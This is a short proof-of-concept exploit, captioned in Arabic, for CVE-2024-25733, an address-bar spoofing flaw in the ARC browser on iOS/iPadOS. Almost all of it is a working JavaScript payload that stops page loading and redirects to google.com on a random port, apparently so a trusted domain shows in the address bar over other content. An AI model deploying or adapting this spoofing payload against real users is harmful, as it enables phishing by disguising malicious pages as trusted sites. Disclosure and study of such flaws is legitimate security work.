
استغلال إثبات المفهوم لثغرة CVE-2024-25733 يوضح تزوير شريط العنوان في متصفح ARC على iOS/iPadOS باستخدام التلاعب بالتنقل المستند إلى JavaScript.
إثبات المفهوم لخداع شريط عنوان متصفح ARC - iOS/iPadOS
<script>
function spoof() {
setTimeout(() => {
window.stop();
let randomPort;
do {
randomPort = Math.floor(Math.random() * 1000);
} while (randomPort === 0 || randomPort === 443);
document.location = "https://google.com:" + randomPort + "/";
}, 300);
}
spoof();
</script>